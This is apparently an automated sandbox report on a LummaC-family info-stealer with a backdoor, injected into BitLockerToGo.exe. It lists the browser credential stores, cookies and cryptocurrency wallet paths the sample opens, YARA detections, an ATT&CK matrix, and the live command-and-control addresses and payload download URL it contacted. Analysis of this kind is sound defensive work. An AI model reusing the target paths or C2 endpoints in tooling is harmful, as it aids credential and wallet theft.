Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2017321286.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7020, type: MEMORYSTR

Remote Access Functionality

Yara detected GO Backdoor

Source: Yara match	File source: 00000005.00000002.2917453173.000000000BD42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 5040, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7020, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	21 Virtualization/Sandbox Evasion	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	32 System Information Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Set-up.exe	50%	ReversingLabs	Win32.Exploit.LummaC

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://46.8.236.61:30001/api/helper-first-register	0%	Avira URL Cloud	safe
https://mooncobudy.click/jrRk	0%	Avira URL Cloud	safe
https://geai.ch/FileSeek.exeF9	0%	Avira URL Cloud	safe
http://91.212.166.91:30001/api/helper-first-register	0%	Avira URL Cloud	safe
https://mooncobudy.click/C	0%	Avira URL Cloud	safe
http://147.45.196.157:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://proxyPasswordproxyPassworddUZKyymJbuildVersionbuildVersion=HTTP/1.1X-Api-Keyhttp/1.1if61sdD6h	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0dfF.ore2kBf&md5=a64beab5d4516beca4	0%	Avira URL Cloud	safe
https://mooncobudy.click/api	0%	Avira URL Cloud	safe
https://mooncobudy.click/8	0%	Avira URL Cloud	safe
http://91.212.166.9:30001/api/helper-first-register	0%	Avira URL Cloud	safe
https://geai.ch/	0%	Avira URL Cloud	safe
https://mooncobudy.click/apiDl	0%	Avira URL Cloud	safe
https://mooncobudy.click/Drk	0%	Avira URL Cloud	safe
http://38.180.205.164:30001/api/helper-first-register	0%	Avira URL Cloud	safe
https://mooncobudy.click:443/apiY5TQSm0KLp5oaijuMolkkI5MNATw3Vlk1e/zKbYeQbWoZVIc3f7q/23znR4fapSJ/Bjw	0%	Avira URL Cloud	safe
https://geai.ch/FileSeek.exeP4	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register?	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0dfF.ore2kBf&md5=a64beab5d4516beca4c40b25dc0c1cd8&proxyPassword=dUZKyymJ&proxyUsername=cACUQSOf&userId=GwhkeMIXedr6k95cAje2l7kZetpIxXXDa1K3	0%	Avira URL Cloud	safe
http://188.130.206.243:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://46.8.232.106:30001	0%	Avira URL Cloud	safe
https://geai.ch/FileSeek.exeI	0%	Avira URL Cloud	safe
http://46.8.232.106:30001if61sdD6REQUEST_METHOD	0%	Avira URL Cloud	safe
https://geai.ch/FileSeek.exeBm	0%	Avira URL Cloud	safe
https://mooncobudy.click/	0%	Avira URL Cloud	safe
https://mooncobudy.click/s	0%	Avira URL Cloud	safe
https://geai.ch/FileSeek.exe	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register	0%	Avira URL Cloud	safe
http://46.8.232.106:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV	0%	Avira URL Cloud	safe
https://mooncobudy.click/Y	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mooncobudy.click	188.114.97.3	true	true		unknown
geai.ch	84.32.84.20	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mooncobudy.click/api	true	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0dfF.ore2kBf&md5=a64beab5d4516beca4c40b25dc0c1cd8&proxyPassword=dUZKyymJ&proxyUsername=cACUQSOf&userId=GwhkeMIXedr6k95cAje2l7kZetpIxXXDa1K3	true	Avira URL Cloud: safe	unknown
https://geai.ch/FileSeek.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://46.8.232.106:30001/api/helper-first-register?buildVersion=0dfF.ore2kBf&md5=a64beab5d4516beca4	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC4E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.212.166.91:30001/api/helper-first-register	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mooncobudy.click/jrRk	BitLockerToGo.exe, 00000003.00000003.2059836048.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mooncobudy.click/C	BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://proxyPasswordproxyPassworddUZKyymJbuildVersionbuildVersion=HTTP/1.1X-Api-Keyhttp/1.1if61sdD6h	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC4E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000003.00000003.1987493885.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987738817.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987587471.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968727568.0000000005653000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968939304.0000000005607000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.196.157:30001/api/helper-first-register	BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mooncobudy.click/8	BitLockerToGo.exe, 00000003.00000003.2059888073.0000000003001000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://geai.ch/FileSeek.exeF9	BitLockerToGo.exe, 00000003.00000003.2243154545.0000000002FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.236.61:30001/api/helper-first-register	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC06000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false		high
